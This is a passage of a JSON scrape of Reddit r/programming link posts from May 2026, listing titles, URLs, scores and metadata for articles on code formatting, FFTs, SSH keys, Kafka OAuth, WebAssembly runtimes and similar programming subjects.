  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1t47018",
  "url": "https://stripe.dev/blog/formatting-an-entire-25-million-line-codebase-overnight-the-rubyfmt-story",
  "permalink": "https://www.reddit.com/r/programming/comments/1t47018/formatting_an_entire_25_million_line_codebase/",
  "title": "Formatting an entire 25 million line codebase overnight: the rubyfmt story",
  "body": null,
  "author": "BlondieCoder",
  "subreddit": "programming",
  "score": 200,
  "upvoteRatio": 0.91,
  "numComments": 79,
  "createdAt": "2026-05-05T06:09:54.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://stripe.dev/blog/formatting-an-entire-25-million-line-codebase-overnight-the-rubyfmt-story",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1t3m0su",
  "url": "https://m.youtube.com/watch?v=Cum5uN2634o&pp=0gcJCVACo7VqN5tD",
  "permalink": "https://www.reddit.com/r/programming/comments/1t3m0su/the_complexity_of_simplicity/",
  "title": "The Complexity of Simplicity",
  "body": null,
  "author": "max123246",
  "subreddit": "programming",
  "score": 30,
  "upvoteRatio": 0.8,
  "numComments": 11,
  "createdAt": "2026-05-04T16:03:16.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://m.youtube.com/watch?v=Cum5uN2634o&pp=0gcJCVACo7VqN5tD",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1t3k4zq",
  "url": "https://connorboyle.io/2026/05/02/fft-bluesteins-algorithm.html",
  "permalink": "https://www.reddit.com/r/programming/comments/1t3k4zq/fast_fourier_transforms_part_3_bluesteins/",
  "title": "Fast Fourier Transforms Part 3: Bluestein's Algorithm",
  "body": null,
  "author": "Revolutionary-Ad-65",
  "subreddit": "programming",
  "score": 11,
  "upvoteRatio": 0.87,
  "numComments": 0,
  "createdAt": "2026-05-04T14:57:23.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://connorboyle.io/2026/05/02/fft-bluesteins-algorithm.html",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1t3jjof",
  "url": "https://devops-stuff.dev/blogs/ssh/using-ssh-to-authenticate",
  "permalink": "https://www.reddit.com/r/programming/comments/1t3jjof/utilizing_ssh_keys_to_minimize_existence_of_pat/",
  "title": "Utilizing SSH Keys to minimize existence of PAT Tokens and making authentication safer",
  "body": "I recently found out that you can use SSH Keys to do a lot of things and most importantly how the SSH Agents make it possible that you can take your ssh keys to any vm you are logged into and do all of the things with your keys without actually moving your keys from your own machine, incredible stuff and to put that into words and spread the knowledge across I wrote this blog, take a look and let me know how it is open to comments and suggestions, the blog has emoticons to which you can react to and it does not require logging in, I would appreciate if you did react. Thanks :) ",
  "author": "Gat786",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.36,
  "numComments": 2,
  "createdAt": "2026-05-04T14:35:50.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://devops-stuff.dev/blogs/ssh/using-ssh-to-authenticate",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1t3ilr7",
  "url": "https://encore.dev/blog/tracing-guide",
  "permalink": "https://www.reddit.com/r/programming/comments/1t3ilr7/what_is_distributed_tracing_a_practical_guide/",
  "title": "What is Distributed Tracing? A Practical Guide",
  "body": null,
  "author": "GlitteringPenalty210",
  "subreddit": "programming",
  "score": 7,
  "upvoteRatio": 0.69,
  "numComments": 0,
  "createdAt": "2026-05-04T14:01:41.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://encore.dev/blog/tracing-guide",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1t3ik5c",
  "url": "https://krisztiangajdar.com/blog/kafka-oauth-on-gcp/",
  "permalink": "https://www.reddit.com/r/programming/comments/1t3ik5c/oauth_to_gcp_managed_kafka_without_service/",
  "title": "OAuth to GCP Managed Kafka without service account keys (librdkafka + ADC)",
  "body": "The official GCP tutorial uses SASL\\_PLAIN with a service account key file. I wanted to use ADC instead. Turns out librdkafka does not actually verify the JWT — it parses header for alg, payload for exp, treats the third segment as opaque. \\~30 lines of base64url and a synthesized JWT shape get you OAUTHBEARER on top of a plain ADC access token, no keys on disk. Code and explanation in the post.",
  "author": "Gajdi",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.25,
  "numComments": 0,
  "createdAt": "2026-05-04T14:00:17.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://krisztiangajdar.com/blog/kafka-oauth-on-gcp/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1t3hebz",
  "url": "https://rafaelcamargo.com/blog/alternative-solution-for-small-react-apps-that-need-i18n/",
  "permalink": "https://www.reddit.com/r/programming/comments/1t3hebz/alternative_solution_for_small_react_apps_that/",
  "title": "Alternative solution for small React apps that need i18n",
  "body": null,
  "author": "rafaelcamargo",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.46,
  "numComments": 2,
  "createdAt": "2026-05-04T13:14:58.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://rafaelcamargo.com/blog/alternative-solution-for-small-react-apps-that-need-i18n/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1t3h208",
  "url": "https://bagnalla.github.io/posts/ping-charity.html",
  "permalink": "https://www.reddit.com/r/programming/comments/1t3h208/equal_ping_for_all/",
  "title": "Equal Ping for All",
  "body": null,
  "author": "bagnalla",
  "subreddit": "programming",
  "score": 7,
  "upvoteRatio": 0.82,
  "numComments": 0,
  "createdAt": "2026-05-04T13:01:47.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://bagnalla.github.io/posts/ping-charity.html",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1t3glxw",
  "url": "https://easylang.online/blog/branchless",
  "permalink": "https://www.reddit.com/r/programming/comments/1t3glxw/when_if_slows_you_down_avoid_it/",
  "title": "When 'if' slows you down, avoid it",
  "body": null,
  "author": "chkas",
  "subreddit": "programming",
  "score": 379,
  "upvoteRatio": 0.92,
  "numComments": 171,
  "createdAt": "2026-05-04T12:43:48.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://easylang.online/blog/branchless",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1t3g7d2",
  "url": "https://youtu.be/FqTL-_tLf6I?list=PLEx5khR4g7PLjpaSO0XI-6euF483ORLyJ",
  "permalink": "https://www.reddit.com/r/programming/comments/1t3g7d2/the_c4_model_beyond_the_basics_simon_brown/",
  "title": "The C4 Model - Beyond The Basics • Simon Brown",
  "body": null,
  "author": "goto-con",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.2,
  "numComments": 4,
  "createdAt": "2026-05-04T12:26:27.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://youtu.be/FqTL-_tLf6I?list=PLEx5khR4g7PLjpaSO0XI-6euF483ORLyJ",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1t3fkvs",
  "url": "https://c3-lang.org/blog/unsigned-sizes-a-five-year-mistake/",
  "permalink": "https://www.reddit.com/r/programming/comments/1t3fkvs/unsigned_sizes_a_five_year_mistake/",
  "title": "Unsigned sizes: a five year mistake",
  "body": null,
  "author": "Dear-Economics-315",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.38,
  "numComments": 14,
  "createdAt": "2026-05-04T11:59:33.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://c3-lang.org/blog/unsigned-sizes-a-five-year-mistake/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1t3fjmj",
  "url": "https://yusufaytas.com/when-too-many-maps-overlap-on-one-person",
  "permalink": "https://www.reddit.com/r/programming/comments/1t3fjmj/when_too_many_maps_overlap_on_one_person/",
  "title": "When Too Many Maps Overlap on One Person",
  "body": null,
  "author": "Dear-Economics-315",
  "subreddit": "programming",
  "score": 87,
  "upvoteRatio": 0.87,
  "numComments": 30,
  "createdAt": "2026-05-04T11:57:56.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://yusufaytas.com/when-too-many-maps-overlap-on-one-person",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1t3eyd0",
  "url": "https://testing.googleblog.com/2026/04/one-map-key-one-lookup.html",
  "permalink": "https://www.reddit.com/r/programming/comments/1t3eyd0/one_map_key_one_lookup/",
  "title": "One Map Key, One Lookup",
  "body": null,
  "author": "ghled",
  "subreddit": "programming",
  "score": 65,
  "upvoteRatio": 0.8,
  "numComments": 24,
  "createdAt": "2026-05-04T11:29:55.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://testing.googleblog.com/2026/04/one-map-key-one-lookup.html",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1t3enqk",
  "url": "https://jadjoubran.io/blog/web-platform-influenced-by-libraries",
  "permalink": "https://www.reddit.com/r/programming/comments/1t3enqk/9_times_the_web_platform_was_influenced_by/",
  "title": "9 Times the Web Platform was Influenced by Libraries",
  "body": null,
  "author": "jadjoubran02",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.5,
  "numComments": 0,
  "createdAt": "2026-05-04T11:15:36.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://jadjoubran.io/blog/web-platform-influenced-by-libraries",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1t37fx1",
  "url": "https://poxate.com/blog/converting-2616-midi-files-to-wav-at-scale",
  "permalink": "https://www.reddit.com/r/programming/comments/1t37fx1/synthesizing_2616_midi_files/",
  "title": "Synthesizing 2,616 MIDI Files",
  "body": null,
  "author": "BookOfCooks",
  "subreddit": "programming",
  "score": 1,
  "upvoteRatio": 0.6,
  "numComments": 0,
  "createdAt": "2026-05-04T04:28:49.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://poxate.com/blog/converting-2616-midi-files-to-wav-at-scale",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1t365w1",
  "url": "https://www.mattgreer.dev/blog/gba-dev-link-cable-networking/",
  "permalink": "https://www.reddit.com/r/programming/comments/1t365w1/game_boy_advance_dev_link_cable_networking/",
  "title": "Game Boy Advance Dev: Link Cable Networking",
  "body": null,
  "author": "NXGZ",
  "subreddit": "programming",
  "score": 66,
  "upvoteRatio": 0.92,
  "numComments": 1,
  "createdAt": "2026-05-04T03:24:48.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.mattgreer.dev/blog/gba-dev-link-cable-networking/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1t34fc2",
  "url": "https://gitperf.com/?utm_source=bonobopress&utm_medium=newsletter&utm_campaign=2269",
  "permalink": "https://www.reddit.com/r/programming/comments/1t34fc2/high_performance_git/",
  "title": "High Performance Git",
  "body": null,
  "author": "Far_Inflation_8799",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.18,
  "numComments": 0,
  "createdAt": "2026-05-04T02:03:06.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://gitperf.com/?utm_source=bonobopress&utm_medium=newsletter&utm_campaign=2269",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1t30ob2",
  "url": "https://www.bashforce.com/posts/decompose-payment-gateway.html",
  "permalink": "https://www.reddit.com/r/programming/comments/1t30ob2/decomposing_a_payment_gateway_integration_syslog/",
  "title": "Decomposing a Payment Gateway Integration — sys.log",
  "body": "*A real run on a 14-file track. Eight modules, a circular dependency caught and broken* *before* *any code was written, and an LLD with contracts for the two high-complexity modules.*",
  "author": "mpise",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.33,
  "numComments": 0,
  "createdAt": "2026-05-03T23:14:35.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.bashforce.com/posts/decompose-payment-gateway.html",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1t2xe26",
  "url": "https://codestyleandtaste.com/most-confusing-C++-behavior.html",
  "permalink": "https://www.reddit.com/r/programming/comments/1t2xe26/the_most_confusing_c_behavior/",
  "title": "The Most Confusing C++ Behavior",
  "body": null,
  "author": "levodelellis",
  "subreddit": "programming",
  "score": 20,
  "upvoteRatio": 0.82,
  "numComments": 2,
  "createdAt": "2026-05-03T20:59:17.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://codestyleandtaste.com/most-confusing-C++-behavior.html",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1t2ud6x",
  "url": "https://csjh.blog/posts/a-tale-of-three-wasm-runtimes/",
  "permalink": "https://www.reddit.com/r/programming/comments/1t2ud6x/a_tale_of_three_webassembly_runtimes/",
  "title": "A Tale of Three WebAssembly Runtimes",
  "body": null,
  "author": "srvhfvakc",
  "subreddit": "programming",
  "score": 29,
  "upvoteRatio": 0.87,
  "numComments": 0,
  "createdAt": "2026-05-03T19:05:17.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://csjh.blog/posts/a-tale-of-three-wasm-runtimes/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1t2nimm",
  "url": "https://mobeigi.com/blog/security/security-through-obscurity-is-not-bad/",
  "permalink": "https://www.reddit.com/r/programming/comments/1t2nimm/security_through_obscurity_is_not_bad/",
  "title": "Security Through Obscurity Is Not Bad",
  "body": null,
  "author": "PersianMG",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.3,
  "numComments": 17,
  "createdAt": "2026-05-03T14:50:34.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://mobeigi.com/blog/security/security-through-obscurity-is-not-bad/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1t2m3qw",
  "url": "https://newsletter.signoz.io/p/why-should-a-trace-id-be-128-bits",
  "permalink": "https://www.reddit.com/r/programming/comments/1t2m3qw/why_should_a_traceid_be_128_bits_a_surprisingly/",
  "title": "Why should a Trace-ID be 128 bits? (A Surprisingly Long Answer)",
  "body": null,
  "author": "elizObserves",
  "subreddit": "programming",
  "score": 94,
  "upvoteRatio": 0.83,
  "numComments": 26,
  "createdAt": "2026-05-03T13:54:14.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://newsletter.signoz.io/p/why-should-a-trace-id-be-128-bits",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1t2hjka",
  "url": "https://dubeykartikay.com/posts/reading-algorithms-like-an-engineer/",
  "permalink": "https://www.reddit.com/r/programming/comments/1t2hjka/reading_algorithms_like_an_engineer_implementing/",
  "title": "Reading Algorithms Like an Engineer: Implementing ANN",
  "body": null,
  "author": "BgA_stan",
  "subreddit": "programming",
  "score": 13,
  "upvoteRatio": 0.85,
  "numComments": 0,
  "createdAt": "2026-05-03T10:13:51.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://dubeykartikay.com/posts/reading-algorithms-like-an-engineer/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1t2gg8x",
  "url": "https://lwn.net/Articles/1066156/",
  "permalink": "https://www.reddit.com/r/programming/comments/1t2gg8x/a_more_efficient_implementation_of_shors_algorithm/",
  "title": "A more efficient implementation of Shor's algorithm",
  "body": null,
  "author": "Dear-Economics-315",
  "subreddit": "programming",
  "score": 26,
  "upvoteRatio": 0.9,
  "numComments": 0,
  "createdAt": "2026-05-03T09:09:39.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://lwn.net/Articles/1066156/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1t2f3rx",
  "url": "https://kant2002.github.io/en/obfuscators/2026/05/02/how-to-build-obfuscator-part-ii.html",
  "permalink": "https://www.reddit.com/r/programming/comments/1t2f3rx/how_to_build_net_obfuscator_part_ii/",
  "title": "How to build .NET obfuscator - Part II",
  "body": null,
  "author": "kant2002",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.33,
  "numComments": 0,
  "createdAt": "2026-05-03T07:50:35.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://kant2002.github.io/en/obfuscators/2026/05/02/how-to-build-obfuscator-part-ii.html",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1t2f3h5",
  "url": "https://github.com/microsoft/vscode/pull/310226",
  "permalink": "https://www.reddit.com/r/programming/comments/1t2f3h5/enabling_ai_co_author_by_default_by_cwebster99/",
  "title": "Enabling ai co author by default by cwebster-99 · Pull Request #310226 · microsoft/vscode",
  "body": null,
  "author": "Maybe-monad",
  "subreddit": "programming",
  "score": 735,
  "upvoteRatio": 0.93,
  "numComments": 224,
  "createdAt": "2026-05-03T07:50:09.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://github.com/microsoft/vscode/pull/310226",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1t2dzdo",
  "url": "https://youtu.be/99RgPS3Vu5M",
  "permalink": "https://www.reddit.com/r/programming/comments/1t2dzdo/dependencies_are_replacing_knowledge/",
  "title": "Dependencies are Replacing Knowledge",
  "body": null,
  "author": "rybarix",
  "subreddit": "programming",
  "score": 45,
  "upvoteRatio": 0.66,
  "numComments": 43,
  "createdAt": "2026-05-03T06:47:28.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://youtu.be/99RgPS3Vu5M",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1t2a933",
  "url": "https://charap.co/metastability-in-recovery-cascading-recovery-with-a-loop/",
  "permalink": "https://www.reddit.com/r/programming/comments/1t2a933/metastability_in_recovery_cascading_recovery_with/",
  "title": "Metastability in Recovery: Cascading Recovery with a Loop",
  "body": null,
  "author": "mttd",
  "subreddit": "programming",
  "score": 9,
  "upvoteRatio": 1,
  "numComments": 0,
  "createdAt": "2026-05-03T03:27:48.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://charap.co/metastability-in-recovery-cascading-recovery-with-a-loop/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1t20rdz",
  "url": "https://c3-lang.org/blog/unsigned-sizes-a-five-year-mistake/",
  "permalink": "https://www.reddit.com/r/programming/comments/1t20rdz/unsigned_sizes_a_five_year_mistake/",
  "title": "Unsigned sizes: a five year mistake",
  "body": null,
  "author": "Nuoji",
  "subreddit": "programming",
  "score": 260,
  "upvoteRatio": 0.9,
  "numComments": 121,
  "createdAt": "2026-05-02T20:25:00.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://c3-lang.org/blog/unsigned-sizes-a-five-year-mistake/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1t1yqxo",
  "url": "https://youtu.be/FvLQguxVLZI?si=WfHu_dDxWa7pMH9l",
  "permalink": "https://www.reddit.com/r/programming/comments/1t1yqxo/how_uber_matches_10_million_rides_in_a_day/",
  "title": "How Uber matches 10 million+ rides in a day ??",
  "body": null,
  "author": "Comfortable-Fan-580",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.32,
  "numComments": 6,
  "createdAt": "2026-05-02T19:07:26.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://youtu.be/FvLQguxVLZI?si=WfHu_dDxWa7pMH9l",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1t1uplj",
  "url": "https://daniel.haxx.se/blog/2026/04/30/approaching-zero-bugs/",
  "permalink": "https://www.reddit.com/r/programming/comments/1t1uplj/approaching_zero_bugs_daniel_stenberg/",
  "title": "Approaching zero bugs? - Daniel Stenberg",
  "body": null,
  "author": "Kok_Nikol",
  "subreddit": "programming",
  "score": 206,
  "upvoteRatio": 0.91,
  "numComments": 35,
  "createdAt": "2026-05-02T16:35:29.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://daniel.haxx.se/blog/2026/04/30/approaching-zero-bugs/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1t1mri9",
  "url": "https://opensource.microsoft.com/blog/2026/04/28/continuing-the-story-of-early-dos-development/",
  "permalink": "https://www.reddit.com/r/programming/comments/1t1mri9/continuing_the_story_of_early_dos_development/",
  "title": "Continuing the story of early DOS development",
  "body": null,
  "author": "Successful_Bowl2564",
  "subreddit": "programming",
  "score": 41,
  "upvoteRatio": 0.9,
  "numComments": 3,
  "createdAt": "2026-05-02T10:59:23.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://opensource.microsoft.com/blog/2026/04/28/continuing-the-story-of-early-dos-development/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1t1kd32",
  "url": "https://youtu.be/o-C6puc7nOk",
  "permalink": "https://www.reddit.com/r/programming/comments/1t1kd32/mathieu_ropert_the_performance_mindset/",
  "title": "Mathieu Ropert: The Performance Mindset",
  "body": null,
  "author": "_a4z",
  "subreddit": "programming",
  "score": 5,
  "upvoteRatio": 1,
  "numComments": 0,
  "createdAt": "2026-05-02T08:42:36.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://youtu.be/o-C6puc7nOk",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1t1hlmd",
  "url": "https://evilgeniuslabs.ca/blog/good-developers-learn-to-program-not-a-language",
  "permalink": "https://www.reddit.com/r/programming/comments/1t1hlmd/good_developers_learn_to_program_most_courses/",
  "title": "Good developers learn to program. Most courses teach a language.",
  "body": null,
  "author": "Either_Collection349",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.25,
  "numComments": 2,
  "createdAt": "2026-05-02T06:05:14.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://evilgeniuslabs.ca/blog/good-developers-learn-to-program-not-a-language",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1t171xr",
  "url": "https://vittorioromeo.com/index/blog/sfex_coroutine.html",
  "permalink": "https://www.reddit.com/r/programming/comments/1t171xr/stackless_coroutines_for_gamedev_in_200_lines_of_c/",
  "title": "stackless coroutines for gamedev in ~200 lines of C++",
  "body": null,
  "author": "SuperV1234",
  "subreddit": "programming",
  "score": 104,
  "upvoteRatio": 0.94,
  "numComments": 13,
  "createdAt": "2026-05-01T21:48:36.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://vittorioromeo.com/index/blog/sfex_coroutine.html",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1t0w811",
  "url": "https://labs.iximiuz.com/tutorials/container-filesystem-from-scratch",
  "permalink": "https://www.reddit.com/r/programming/comments/1t0w811/how_containers_work_building_a_dockerlike/",
  "title": "How Containers Work: Building a Docker-like Container From Scratch",
  "body": null,
  "author": "iximiuz",
  "subreddit": "programming",
  "score": 348,
  "upvoteRatio": 0.95,
  "numComments": 24,
  "createdAt": "2026-05-01T15:12:52.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://labs.iximiuz.com/tutorials/container-filesystem-from-scratch",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1t0rc9t",
  "url": "https://lowlevel.fun/posts/tiny-udp-cannon-android-vpn-bypass/",
  "permalink": "https://www.reddit.com/r/programming/comments/1t0rc9t/the_tiny_udp_cannon_an_android_vpn_bypass_uses_an/",
  "title": "The Tiny UDP Cannon: An Android VPN Bypass [uses an optimization for QUIC]",
  "body": null,
  "author": "self",
  "subreddit": "programming",
  "score": 34,
  "upvoteRatio": 1,
  "numComments": 4,
  "createdAt": "2026-05-01T11:57:57.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://lowlevel.fun/posts/tiny-udp-cannon-android-vpn-bypass/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1t0qke8",
  "url": "https://blog.serenedb.com/search-optimization-5",
  "permalink": "https://www.reddit.com/r/programming/comments/1t0qke8/adaptive_compression_for_inverted_index/",
  "title": "Adaptive compression for inverted index",
